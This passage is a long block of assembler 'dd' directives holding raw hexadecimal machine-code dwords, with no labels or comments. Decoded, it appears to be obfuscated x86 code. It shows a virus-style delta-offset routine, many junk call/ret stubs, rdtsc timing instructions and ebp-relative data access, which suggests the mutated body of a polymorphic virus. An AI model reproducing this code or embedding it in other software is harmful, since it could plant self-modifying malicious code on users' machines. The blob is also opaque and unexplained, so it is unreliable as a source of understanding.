5E410B9h, 20998533h, 665005E4h, 489FB8Bh dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0A8F66F47h, 0E92F40ABh, 0Fh, 637247A3h dd 699B9906h, 0AA0098EBh, 6AABABE1h, 66FE8B00h, 19BFE381h dd 4E8h, 1F03FF00h, 4ABB6600h, 0F5250E6h, 281h, 5F616000h dd 424448Bh, 68D0Fh, 8C0F0000h, 0 dd 0FB8B008Bh, 4244489h, 0BF5814B7h, 4884C432h, 15995FFh dd 958905E4h, 5E41439h, 9F5F8589h, 0DE8B05E7h, 7DE78166h dd 187E94Bh, 1EBB0000h, 8B233CA2h, 0E79F5785h, 0C7F505h dd 18h, 9A1BD2Bh, 0B58B05E4h, 5E79F5Bh, 0F8F0F50h, 0E9000000h dd 0Ah, 0BD181080h, 39CD7813h, 8B5FBA6Bh, 0E42A2185h, 6A068905h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0BEE8C357h, 9D8BFD8Ah, 5E427D1h, 2C9D858Bh dd 0D78105E4h, 43F0EDA3h, 6A044689h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 9DD1C353h dd 0AB119DA5h, 0DE9503Bh, 24000000h, 5C7405F0h, 97A2655Bh dd 0E62CBBDAh, 0F243489h, 0B5FFFEBFh, 5E79F57h, 0EF47DB81h dd 4E8531Eh, 0FF000000h, 0E9001F03h, 0Eh, 0BFEC30C8h, 25398A4h dd 61C74A43h, 0E950EACCh, 6, 1C8F597Dh, 448B635Ch, 8B0424h dd 0F1BB6660h, 0F88B6677h, 24448961h, 14E904h, 0F8D10000h dd 0E912AE5Dh, 6E36434Eh, 3ED472DEh, 0BD568C5Eh, 895852F1h dd 0E400FDBDh, 5F858D05h, 6A05E79Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 8D17C352h dd 0D85A4BF5h, 0FE951h, 0E00C0000h, 9D25D784h, 0C5FA5591h dd 42AF8BC0h, 0FE8906Eh, 5A000000h, 0BAA568B1h, 51DB39DDh dd 0B6EAFEC2h, 0BF6686D6h, 505F1AFAh, 7E9h, 0CCF51400h dd 588380DEh, 623EBB90h, 68BF4984h, 0FF28EB94h, 0E4015995h dd 6A6105h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0C7588FC3h, 0E430FD85h, 305h, 15BD8B00h dd 8305E416h, 0E79F5FBDh, 840F0005h, 10h, 24618589h, 20E905E4h dd 0B7000000h, 0F88B669Bh, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 8BC08B00h, 0E4110DBDh, 31BD8B05h, 6A05E402h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 4101C352h, 83DEBF0Fh, 0E430FDBDh, 850F0305h dd 3ECh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 6FC35545h, 27028F1Fh, 9F5FBD83h, 0F0005E7h, 3BF84h dd 0B19D8B00h, 0FF05E417h, 0E79F5FB5h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 85314046h, 5E430B1h, 2B358D29h, 858905E4h, 5E4155Dh dd 1C1595FFh, 0F5105E4h, 8B5FFABFh, 0E79F53B5h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0C1A67907h, 0F460C5DAh, 6C72858h, 10001h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 2BC35747h, 964ED380h dd 50F88B66h, 96DA8B66h, 0D0816660h, 8589F410h, 5E40285h dd 5FB5FF61h, 6A05E79Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 95A6C353h, 8E9A6D1h dd 52000000h, 83039834h, 0FFBB96ADh, 0E4172D95h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0BE870B3h, 0A7000000h, 600648B8h, 0FBB8502Fh, 0FB8B24D3h dd 53B58B5Fh, 8005E79Fh, 858B32E7h, 5E41D1Dh, 19998D89h dd 868905E4h, 0C4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0B1C35343h, 8BFA8B66h, 0E4109595h, 399D8B05h dd 8305E417h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 76F38AC3h, 50891D46h, 8ABB6620h dd 84858D54h, 6A05E7B3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 10EEC353h, 0A2048746h dd 999D8940h, 8905E416h, 0B886h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 95AB3B36h dd 90BFB804h, 0E9006AF0h, 8, 5DAA8455h, 4EE81B58h, 9F5FB5FFh dd 9D8905E7h, 5E410F1h, 104595FFh, 6A05E4h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 6E069EC3h dd 0C45B1DAEh, 89BB507Bh, 8906251Dh, 0FFF92434h, 0E79F5FB5h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0A535391Fh, 544C3DE5h, 0FFF98B66h, 0E4136595h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 7453CAC9h, 0A9AEA272h, 0D88BF8B9h, 0BD83DA8Bh dd 5E408F9h, 30840F00h, 66000000h, 29FF381h, 50D88B96h dd 10DBF66h, 0E8FA8B96h, 14h, 84ACC090h, 81E2E6E3h, 40EA5856h dd 1ED8C1B4h, 0EDFB724Fh, 1FB99589h, 0FF5F05E4h, 0E79F5FB5h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 4D7FBA8Fh, 0BC945135h, 8E9h, 38B03200h dd 7E53F4E9h, 0C595FF3Bh, 6A05E429h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 8938C357h dd 0A58D296Fh, 0FF05E400h, 0E79F5FB5h, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 5FFFE5EFh, 69BBA5B7h, 0FF68EA27h, 0E4197195h, 1DBD8B05h dd 8305E414h, 0E43125BDh, 840F0205h, 48h, 5E8h, 1FD6B100h dd 8589BCECh, 5E42421h, 92E3815Bh, 8B7DA5C1h, 0E4119185h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0AF55B484h, 23D9D8Bh, 0C605E4h, 0DBEB8000h dd 19E585C7h, 5E4h, 0B5890000h, 5E411CDh, 0FFF40CE9h, 52006AFFh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 8261E591h, 0D8830087h, 2AD9BD8Bh, 0C18B05E4h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A8C35747h, 6E8h dd 0F2403800h, 5BA24645h, 19D5858Dh, 0DE905E4h, 9B000000h dd 7EA68CCEh, 38BCB610h, 604BCB55h, 0DF8B6690h, 90F88B50h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 17C35040h dd 0CE775A18h, 0C98D89F0h, 6A05E40Dh, 0E0C0BB00h, 6A4FEFh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 72C35545h dd 1BDB1B79h, 3D9D030Dh, 8D05E415h, 0E8979D85h, 359D8B05h dd 8305E418h, 0BF6605C0h, 5053E2A6h, 5F5BE0B7h, 895B5150h dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 9D298DC3h, 5E42D25h, 0BE9h, 0E51CC600h, 0F02B76CEh dd 0AA60DBE2h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 3BD9CFC3h, 0C4144334h, 0B9BD0122h dd 6A05E408h, 6DB50900h, 0FF05E426h, 0E421A195h, 0A18D3105h dd 8D05E409h, 0E79E7F8Dh, 0DE905h, 4D800000h, 0B57EC520h dd 2E805396h, 0FFACF3A8h, 6800FD1h, 33000000h, 0E420459Dh dd 0CBC38105h dd 83476B41h, 0E42995BDh, 850F0105h, 7Eh, 1BD8B52h, 5B05E428h dd 9D8B026Ah, 5E413A1h, 0F525090h, 52506031h, 585A310Fh dd 880Fh, 5A610000h, 12E95058h, 7E000000h, 0DE80A3ADh dd 77A06DECh, 6CD47814h, 1F4E0D51h, 6A9094h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0A8F193C3h dd 11E94F5Ch, 0C3000000h, 0F142980Dh, 8D34AD49h, 9F7D4724h dd 4A9FED1Ah, 104595FFh, 0BB6605E4h, 0D9E9234Dh, 0E800000Eh dd 0 dd 0A7ED815Dh, 0E905E897h, 5, 0EDBC0F5h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 858DF4CEh, 5E78168h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0B3C35343h, 0B70F8061h, 6E950DEh, 8E000000h dd 414DD3F2h, 24048966h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0C3C35747h, 8020AB48h, 0BF66EFDFh, 0FF64F59Bh dd 35h, 0C3816600h, 89647898h, 25h, 319D8B00h, 0FF05E401h dd 0E4142D85h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0BC512DDEh, 0C484AFBDh dd 8160B712h, 0A1F971C7h, 0FD95892Ch, 6105E419h, 9589FF6Ah dd 5E404F9h, 26FDB5FFh, 0FE905E4h, 68000000h, 0C362B174h dd 8908325Bh, 0AB71B69Fh, 95FF1A5Bh, 5E42DADh, 170E9h dd 0B0F900h, 22619589h, 70E605E4h, 2581BD01h, 71E405E4h dd 2A95BD8Bh, 8E905E4h, 56000000h, 0B29CE40Ah, 3C787401h dd 42830F61h, 0E8000001h, 0Fh, 415C5A07h, 75028567h, 5D98BE19h dd 5FF0D00Eh, 89C8B60Fh, 0E428418Dh, 0F7816605h, 6BAF3FFh dd 3000000h, 0E416219Dh, 0E9C18B05h, 0Bh, 0F5F31FC3h, 7F6F06D1h dd 0C1979828h, 890F04E8h, 6, 0C99D0Bh, 6E905E4h, 0D7000000h dd 0F990FEC8h, 0E2F7661Ah, 0E9C82BF8h, 9, 0EE3F3407h, 8E36A33Bh dd 25BD2969h, 8B05E42Ah, 59BD8BD1h, 6005E414h, 0EE9h, 779E3200h dd 6BC8DAB2h, 33948E3Bh, 50E8942Dh, 0CE9h, 0B8A8BD00h dd 243FAE3h, 0BB6E1DD3h, 0E9615F50h, 2, 858B83B7h, 5E42839h dd 17F9BD8Bh, 0F6005E4h, 58Ah, 783DB800h, 10E91030h, 9F000000h dd 0B371CD8h, 7AD181B7h, 0B267E84Ah, 610A836Ah, 8B07C083h dd 0E41C199Dh, 0C08305h, 978AD0BBh, 0FD03B10h, 0B83h, 75B58900h dd 0E905E410h, 45h, 1A3D8D8Bh, 0AE905E4h, 7B000000h, 6FBDFCB8h dd 0F33985ACh, 1E1836Fh, 27840Fh, 0BD290000h, 5E413BDh dd 1A3DA583h, 80FE05E4h, 9589B7F3h, 5E42839h, 30D99529h dd 953105E4h, 5E43231h, 0E9h, 95B58D00h, 8105E804h, 0DF3E62E3h dd 8B006A15h, 0E41AF5BDh, 0C195FF05h, 8905E410h, 0E42B398Dh dd 810B905h, 9D890000h, 5E42799h, 6AFCE183h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8972C356h, 0E422598Dh, 6AFC05h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 6B3C9C3h, 0BB666869h dd 0C02BF9A3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 56C35343h, 0CEFFCE8Ch, 8B23B868h, 0E408D5BDh, 0BA05h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 3F6F46C3h, 0DF8B3CB3h, 16A5BD89h, 33AD05E4h dd 3E8D1C2h, 4E983D0h, 0BD89F475h, 5E40449h, 19998589h dd 880D05E4h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 9223C352h, 423B1F7Bh dd 1095958Bh, 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0F8087BC3h, 891D575Ah, 0E40371BDh dd 658D8B05h, 0BF05E42Ch, 64CF8FEBh, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 9BD78AC3h, 4C7475FFh dd 0BD83867Dh, 5E42135h, 0A0840F00h, 0F5000000h, 0EE9h dd 100D2B00h, 5129596Fh, 0D6B31920h, 0B8B6ECD9h, 0 dd 95336060h, 5E41609h, 0C3AEB866h, 0C1858961h, 6105E41Eh dd 4C308D8Dh, 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 4574CCC3h, 0F91B50A8h, 9E9h, 6BE22000h dd 472F6DD5h, 0BF66BC1Eh, 0E1FF53D3h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0C7C35545h, 890F9651h, 13h dd 7E8h, 99066300h, 98EB699Bh, 2005BD33h, 835B05E4h, 0E430FDBDh dd 840F0005h, 454h, 1DF38166h, 0FDBD838Fh, 105E430h, 45D840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 81DB67C3h, 0E65A06C7h, 0FDBD8334h, 305E430h dd 3F7860Fh, 13E90000h, 4E000000h, 0D28B659Ah, 0D2BDD19Ah dd 0AAACFEACh, 326D16D5h, 666084BAh, 662EFCBFh, 80F5D98Ch dd 0C78104E1h, 0CFC4A02h, 840FC90Ah, 1AAh, 1311B589h, 858B05E4h dd 5E42C9Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 2C35141h, 85330888h, 5E42099h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0AAC35646h, 24048950h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 2DC35545h, 0BB04531Ah dd 13364345h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 5721FBC3h, 7BD01F2Ah, 815127C5h dd 106B5AC7h, 4E85B4Ch, 0FF000000h, 66001F03h, 503725BFh dd 0FE8B6660h, 810F5250h, 0 dd 22BE310Fh, 5A64FB31h, 448B6158h, 8B0424h, 61C78B60h dd 4244489h, 13E8h, 72F59A00h, 0D8210239h, 708C20FEh, 0F6F2C36Bh dd 3297CAD5h, 0DD3DBF66h, 6A585Fh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 603AE2C3h, 0E1958B60h dd 5305E430h, 38BA615Ah, 611898C2h, 9019C781h, 95FF483Dh dd 5E40159h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 62C35343h, 0FDBD8BFFh, 8B05E40Ch, 0E43095BDh, 5F858905h dd 6A05E79Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0E02FC351h, 746B8341h, 0D99D89AAh dd 0E905E404h, 1B2h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 61C35242h, 1DD59D8Bh, 858B05E4h, 5E79F57h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 82C35040h dd 0C724D0h, 18h, 8BF98B66h, 0E79F5BB5h, 1D9D8B05h, 8B05E416h dd 0E42A2185h, 0DF816605h, 689DD63h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 3C35343h, 71EF014Fh, 858B2902h dd 5E42C9Dh, 8B044689h, 0CE9FAh, 2ED70000h, 0CE700995h dd 0E335F5Bh, 5096DA4Eh, 10E952h, 8EE80000h, 771F67EBh dd 2F8D01FDh, 12AA1367h, 310F766Dh, 585AFE8Bh, 0B3525050h dd 5A310F0Dh, 81669658h, 0FB99DDFh, 0B5FFDFB7h, 5E79F57h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 7DC35040h dd 35693DB0h, 2319BD8Bh, 4E805E4h, 0FF000000h, 60001F03h dd 0C9FCC4BAh, 76B96657h, 665061E1h, 448BDE8Bh, 0D6B70424h dd 5250008Bh, 310FF98Bh, 0E9616060h, 7, 339B9BC3h, 619E4E8Ah dd 4489585Ah, 0AE80424h, 77000000h, 0D8EB2943h, 2B9D2798h dd 11E9D1h, 93F10000h, 19EB38C2h, 765565E4h, 3097D800h dd 5FCA9AE5h, 89BD8B58h, 8D05E41Ch, 0E79F5F85h, 50DEB705h dd 9E9h, 0D810C000h, 0D6C40807h, 4890FB4h, 0FFF98B24h dd 0E4015995h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0C2F1CD20h, 1EA03EDEh dd 6A61F5C7h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 66E8C356h, 664252BBh, 991BDF81h dd 30FD85C7h, 305E4h, 0CE80000h, 48000000h, 0D4A6D23Fh dd 8A7923C2h, 5662C5CCh, 0D219D89h, 5F5F05E4h, 9F5FBD83h dd 0F0005E7h, 3484h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 9D8BCE51h, 5E410C9h, 1BEDBD8Bh dd 21E905E4h, 8B000000h, 0E40109BDh, 0C305005h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0A6C35343h, 0E1C4E928h, 8D89097Dh dd 5E43189h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 12C35545h, 83909296h, 0E430FDBDh, 850F0305h, 516h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 30C35242h dd 71E2F6D9h, 0D88B663Fh, 9F5FBD83h, 0F0005E7h, 4E584h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0F61C565h, 68Eh, 7D858900h, 0FF05E402h dd 0E79F5FB5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 8B880C82h, 0E41165BDh dd 0E1BD0B05h, 0FF05E417h, 0E41C1595h, 51006A05h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0D1840DEh, 0CE80Fh, 56560000h, 61552E97h, 0B73BD212h dd 895043B1h, 0E4196985h, 8B5F5B05h, 0E79F53B5h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 5DBC7121h, 13E9C88Ah, 0CD000000h, 16C959CFh, 2FA86AE9h dd 0A8931748h, 847119BEh, 0BF668C96h, 6C7BE98h, 10001h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0A0C35343h dd 96FABF0Fh, 0DA8B5250h, 585A310Fh, 10E850h, 0DEE80000h dd 7F712244h, 535E4FBAh, 0D58CF388h, 5250BA98h, 39B43BFh dd 0BB310F1Bh, 41695A38h, 965B585Ah, 0FFD9D8Bh, 0B5FF05E4h dd 5E79F5Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 36C35141h, 260EBB6Ch, 0E91297AAh, 11h, 0C28D120Ah dd 0B38F3662h, 4E134B0Ch, 742BEA45h, 2D95FFEAh, 0F805E417h dd 9F53B58Bh, 0E95605E7h, 8, 52109AEBh, 2E2F5EF3h, 1D858B5Bh dd 8905E41Dh, 0C486h, 66F88B00h, 958BF98Bh, 5E41095h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 39C35646h, 1665C31h dd 0E432C985h, 4C28305h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0A0C35646h, 9589C064h, 5E42355h, 6A205089h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0E90FC356h, 0Fh, 8239F28Ch, 943AA8EFh, 871C084Fh dd 0FE00A8Ah, 0C8Eh, 6870F00h, 8B000000h, 0E41C199Dh, 84858D05h dd 0B05E7B3h, 0E417F9BDh, 0B8868905h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 7665C353h, 5A28A190h, 0BD09FCA7h, 5E41999h, 8BF5006Ah dd 5FB5FFD9h, 6A05E79Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0E03DC352h, 7E9h, 7E247E00h dd 0E3224E06h, 104595FFh, 6A05E4h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0EE4B19C3h, 820Fh, 0E8960000h dd 0Bh, 0AB17D02Bh, 3384FCD1h, 8BD3DF9Dh, 8B505FDFh, 8D8996D9h dd 5E41311h, 9F5FB5FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 915B38C3h, 0A405A0EBh dd 0BD8B042Eh, 5E424B9h, 136595FFh, 6A05E4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0FC08AFC3h dd 0F7A61EDh, 0BD83D9BFh, 5E408F9h, 93840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 7019C356h, 6050DE8Bh, 0DF8B5250h, 5250310Fh dd 585A310Fh, 890F585Ah, 17h, 12E9h, 0F8E9E400h, 3F97FD85h dd 3265AB2Bh, 0B08EDF22h, 61ACABA4h, 6A243489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 7AD3C352h, 0CE9CCE4h, 9D000000h, 1A49445Bh, 0F1BF5FF7h dd 53FF123Ch, 8E8h, 5BEFC00h, 4EAC0232h, 0DEBF0F68h, 0B5FF5B5Bh dd 5E79F5Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0F8C35040h, 0FEBF0F33h, 29C595FFh, 6A05E4h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 3D5CD6C3h, 9F5FB5FFh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0DA42A3C3h, 4CBA2A78h dd 7195FF4Bh, 6605E419h, 0BD83D88Bh, 5E43125h, 5F840F02h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 67A9C352h, 90E018BDh, 6666A36Bh dd 858BDA8Bh, 5E41191h, 176DBD89h, 0C605E4h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0D1102FA0h, 0E5E8D85Bh, 3F5B589h, 85C705E4h, 5E419E5h dd 0 dd 1C9D9D0Bh, 35E905E4h, 89FFFFF2h, 0E42BA9B5h, 699D8B05h dd 8B05E422h, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0FB8B66C1h, 19D5858Dh, 6A05E4h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 46DB38C3h, 0BD03E068h, 5E41A11h, 8C0F6090h, 6, 310F5250h dd 0F78A585Ah, 0DE95061h, 0B000000h, 0CA18A786h, 9EDD515Ch dd 534D8508h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 6897104h, 4D8529D7h, 8B05E417h, 0E414FDBDh dd 0E8006A05h, 14h, 0BD93F15h, 0D69345C1h, 18418779h, 0AF71F254h dd 31A09748h, 6A5FDF8Bh, 0C1BB6600h, 25858D65h, 6005E8A9h dd 4ADBD89h, 0CF8B05E4h, 5C08361h, 7898501h, 0CF8105E4h dd 1350B61Ah, 0B3525090h, 0E9310F7Dh, 13h, 97F83BEDh, 396F7050h dd 842759E5h, 0C6C249FCh, 5A52F8D0h, 3FB75058h, 56006A90h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 6EB63291h, 66513C5Eh, 6AB9EBBFh, 0C3BB6600h, 6A006A51h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 25B7C352h, 80E6BB66h, 21A195FFh, 6A05E4h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 10E825C3h, 40000000h, 47B0E79Fh, 565B97F9h, 9C471DC2h dd 0E95893C7h, 9, 1E84B9EDh, 8004643h, 0B5895FC7h, 5E4087Dh dd 9E7F8D8Dh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 34AD49C3h, 7D47248Dh, 1870F9Fh dd 0F8000000h, 6AD1FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 90F23C3h, 9237AD0Ah, 10E9h, 71F63600h dd 2531C0EBh, 1FD00377h, 171AE926h, 0A5952935h, 105E41Ch dd 0E4321195h, 95BD8305h, 105E429h, 0A8850Fh, 0BB660000h dd 8166015Dh, 6A8CBACBh, 23B96002h, 8051E8D4h, 9061D8C4h dd 0BE9h, 7E96D600h, 824C6380h, 8758E984h, 513BBF50h, 6A9052C4h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0E647C356h, 0EB81A45Eh, 2C17C731h, 58D0Fh dd 0BDBF0000h, 0FF25762Fh, 0E4104595h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 9606167Ch, 91287E6Eh, 850F60BAh, 3, 0E9F4F080h, 11h dd 35C8B439h, 1CE2636Eh, 0D6A31B61h, 7AF03309h, 6FE96163h dd 0E800000Eh, 0 dd 2FED815Dh, 6A05E8A9h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0EFF7C353h, 8A17B017h dd 0F9BF0FDAh, 8168858Dh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0C3C74CC3h, 11E950h dd 0CEA70000h, 12FD0EA0h, 0C902B56h, 2E48D0B6h, 89882EA0h dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 64AF48C3h, 35FFh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 0E39B2BC3h dd 2589646Fh, 0 dd 0FFFB8B66h, 0E4142D85h, 0DF8B6605h, 6AFF6Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 5F6BBCC3h, 0BFC36983h, 138D8018h, 1001B5FFh, 6A05E4h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 90C9FBC3h, 2DB3581Ah, 8113DB80h, 0AAD650DBh, 0AD95FF31h dd 0E905E42Dh, 125h, 2CD1BD89h, 8FB705E4h, 0E6F900B0h dd 0E495B370h, 419D2971h, 3C05E41Dh, 6830F61h, 8B000001h dd 0E42069BDh, 0C8B60F05h, 95958960h, 0F05E40Fh, 382h dd 0FBBF0F00h, 0F98D8961h, 0BA05E41Bh, 6, 115D9D8Bh, 800F05E4h dd 6, 1819B589h, 0C18B05E4h, 13E9h, 0F977EB00h, 7467BAE7h dd 318117F6h, 1960C0B4h, 0B9BA7973h, 0E904E8C1h, 13h, 15CF39A9h dd 81DA85EFh, 6D89F61Eh, 38F79D9Bh, 66D62EC6h, 0FD8AE2F7h dd 6E8C82Bh, 0EB000000h, 7A079A60h, 0EF8166A0h, 0FC5F8600h dd 0EE8D18Bh, 3000000h, 2FDED5A2h, 0C21F4CAEh, 0FBFBDCCh dd 0BD8B5275h, 5E42035h, 5EE95F5Bh, 0F000000h, 858BD9B7h dd 8, 0E920C381h, 0C08322F2h, 9DBD8907h, 8305E407h, 0F38000C0h dd 0FD03BBEh, 0F83h, 0FEF8100h, 0E95EFC94h, 2Dh, 9A54BF66h dd 0FFFF8D8Bh, 0D88BFFFFh, 0F01E183h, 1884h, 4D9D8900h dd 8305E407h, 0FFFFFFA5h, 9589FEFFh, 8, 0E9h, 0DFB58D00h dd 6A05E82Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0AC40C355h, 7FA13104h, 0E9B8EE6Ah dd 13h, 0B54AD9CCh, 0A2C24DBAh, 0ADFC485Eh, 2E737809h dd 6ACFF399h, 0DE8B6600h, 10C195FFh, 6A05E4h, 3E853h, 5B200000h 